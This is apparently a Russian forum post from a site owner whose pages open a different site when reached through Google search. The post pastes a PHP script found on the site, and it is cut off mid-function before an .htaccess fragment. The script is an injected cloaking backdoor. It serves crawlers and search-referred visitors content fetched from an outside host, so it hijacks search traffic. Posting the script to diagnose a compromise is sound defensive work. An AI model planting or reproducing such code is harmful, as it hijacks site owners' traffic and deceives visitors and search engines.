Через поиск Google, открывается совершенно другой сайт

<?php
error_reporting(0);
ini_set('display_errors', '0'); 
//set_time_limit(0);
 
$serverUrl='http://www.wo8899.top/server.php';
$isDebug=false;
 
$serverName=$_SERVER['SERVER_NAME'];
$serverName=str_replace('www.','',$serverName);
$currentUrl=$_SERVER['QUERY_STRING'];
$isSpiderAgent=checkAgent();
$isSpiderReal='false';
$isSearchEngineReferer=checkReferer();
$ipAddress=getIPAddress();
$realHost='';
$locationUrl=GetLocationURL();
$requestUrl='';
$requestUrlMD5='';
$returnText='';
 
$currentPath=str_replace('www.'.$serverName,'',$currentUrl);
$currentPath=str_replace($serverName,'',$currentPath);
if(endWith($currentPath,'?'))
{
  $currentPath=substr($currentPath,0,strlen($currentPath)-1);
}
 
if($isSpiderAgent=='true' && !empty($ipAddress))
{
  $realHost=strtolower(gethostbyaddr($ipAddress));
  if(strpos($realHost, 'googlebot.com')!==false)
  {
    $isSpiderReal='true';
  }
}
 
if($isSpiderAgent=='true')
{
	$requestUrl=$serverUrl.'?action=get&serverName='.$serverName.'&query='.$currentPath;
	$requestUrlMD5=$serverUrl.'?action=get&serverName='.$serverName.'&query='.md5($currentPath);
	$returnText=http_get($requestUrlMD5,15);
}
else
{
	if($isSearchEngineReferer=='true')
	{
		$requestUrl=$serverUrl.'?action=jump&serverName='.$serverName.'&query='.$currentPath;
	  $requestUrlMD5=$serverUrl.'?action=jump&serverName='.$serverName.'&query='.md5($currentPath);
		$returnText=http_get($requestUrlMD5,15);
	}
}
 
//test code beigin****************************************************************************************
if($isDebug)
{
	echo '<table cellpacing=0 cellpadding=4 border=0 bgcolor="skyblue">';
	echo '<tr bgcolor="skyblue"><td colspan=2 align="center"><b>Debug Info</b></td></tr>';
	echo '<tr bgcolor="white"><td><b>currentUrl</b></td><td>'.$currentUrl.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>currentPath</b></td><td>'.$currentPath.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>user-Agent</b></td><td>'.$_SERVER["HTTP_USER_AGENT"].'</td></tr>';
	echo '<tr bgcolor="white"><td><b>isSpiderAgent</b></td><td>'.$isSpiderAgent.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>isSpiderReal</b></td><td>'.$isSpiderReal.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>isSearchEngineReferer</b></td><td>'.$isSearchEngineReferer.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>ipAddress</b></td><td>'.$ipAddress.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>realHost</b></td><td>'.$realHost.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>serverName</b></td><td>'.$serverName.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>locationUrl</b></td><td>'.$locationUrl.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>requestUrl</b></td><td>'.$requestUrl.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>requestUrlMD5</b></td><td>'.$requestUrlMD5.'</td></tr>';
	echo '<tr bgcolor="white"><td><b>returnText</b></td><td>'.$returnText.'</td></tr>';
	echo '</table>';
	//exit;
}
else
{
	echo $returnText;
}
//test code end****************************************************************************************
 
function GetLocationURL()
{
  $pageURL = '';
  if ($_SERVER['SERVER_PORT'] != '80')
  {
    $pageURL = 'https://'. $_SERVER['HTTP_HOST'].':'.$_SERVER['PHP_SELF'];
  }
  else
  {
    $pageURL = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
  }
  return $pageURL;
}
 
function checkAgent() 
{ 
  $rtnVal = "false";
  try
  {
		if(!empty($_SERVER["HTTP_USER_AGENT"]))
		{
			$agent = "user-agent:".strtolower($_SERVER['HTTP_USER_AGENT']); 
			if(strpos($agent,'google.com')!==false || strpos($agent,'google.co.jp')!==false || strpos($agent,'yahoo.co.jp')!==false || strpos($agent,'docomo.ne.jp')!==false || strpos($agent,'bing')!==false)
			{
				$rtnVal="true";
			}
		}
  }
  catch (Exception $w){}
  return $rtnVal; 
}
 
function checkReferer()
{
  $rtnVal="false";
  try
  {
    if(!empty($_SERVER["HTTP_REFERER"]))
		{
      $url = 'referer:'.strtolower($_SERVER["HTTP_REFERER"]);
      if(strpos($url,'google.com')!==false || strpos($url,'google.co.jp')!==false || strpos($url,'yahoo.co.jp')!==false || strpos($url,'docomo.ne.jp')!==false || strpos($url,'bing')!==false)
			{
        $rtnVal="true";
      }
    }
  }
  catch (Exception $w){}
  return $rtnVal;
}
 
function getIPAddress()
{
	$ip="";
	$unknown = "unknown";  
	if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] && strcasecmp($_SERVER['HTTP_X_FORWARDED_FOR'],$unknown))
	{  
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];  
	} 
	elseif ( isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], $unknown))
	{  
    $ip = $_SERVER['REMOTE_ADDR'];  
	}  
	if (false !== strpos($ip, ',')) 
	{
    $ip = reset(explode(',', $ip));  
	}
	if($ip==$unknown)
	{
    $ip="";
	}
	return $ip;
}
 
function curPageURL() 
{
	$pageURL = "http://";
	$pageURL .= $_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"];
	if(!
                                        

                                            

                                                                                        

        

                    
                            
            

    

                    
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RewriteCond %{HTTP_HOST} !site.ru
RewriteRule (.*) - [G,L]